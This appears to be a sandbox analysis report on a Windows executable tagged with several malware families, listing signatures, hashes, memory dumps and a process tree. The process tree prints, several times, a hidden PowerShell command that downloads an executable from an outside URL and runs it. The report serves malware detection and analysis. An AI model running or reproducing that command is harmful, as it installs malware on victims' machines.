Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    27/04/2026, 12:16

General

  • Target
    2026-04-27_6e08b0b393333c5248b80d2037411e2d_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc.exe
  • Size 1.6MB
  • Sample260427-pff3cadv4j
  • SHA256 85f8a10c182a43930a526e8c1bfb800264c81e16cd0fde40b875b0d23d234fc7
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-27_6e08b0b393333c5248b80d2037411e2d_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-27_6e08b0b393333c5248b80d2037411e2d_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1200
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK216633.exe; Start-Process -FilePath $env:TEMP\BK216633.exe -WindowStyle Hidden }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:576
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK216633.exe; Start-Process -FilePath $env:TEMP\BK216633.exe -WindowStyle Hidden }"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4432
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK216633.exe; Start-Process -FilePath $env:TEMP\BK216633.exe -WindowStyle Hidden }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3640

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_dtp5scje.1si.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dtp5scje.1si.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3640-0-0x00000175D7580000-0x00000175D7590000-memory.dmp

        memory/3640-1-0x00000175D7580000-0x00000175D7590000-memory.dmp

        memory/3640-7-0x00000175D7550000-0x00000175D7572000-memory.dmp

        memory/3640-9-0x00000175D7580000-0x00000175D7590000-memory.dmp

        memory/3640-12-0x00000175BEED0000-0x00000175BEEDC000-memory.dmp

        memory/3640-13-0x00000175D7590000-0x00000175D763F000-memory.dmp

        memory/3640-14-0x00000175BF330000-0x00000175BF342000-memory.dmp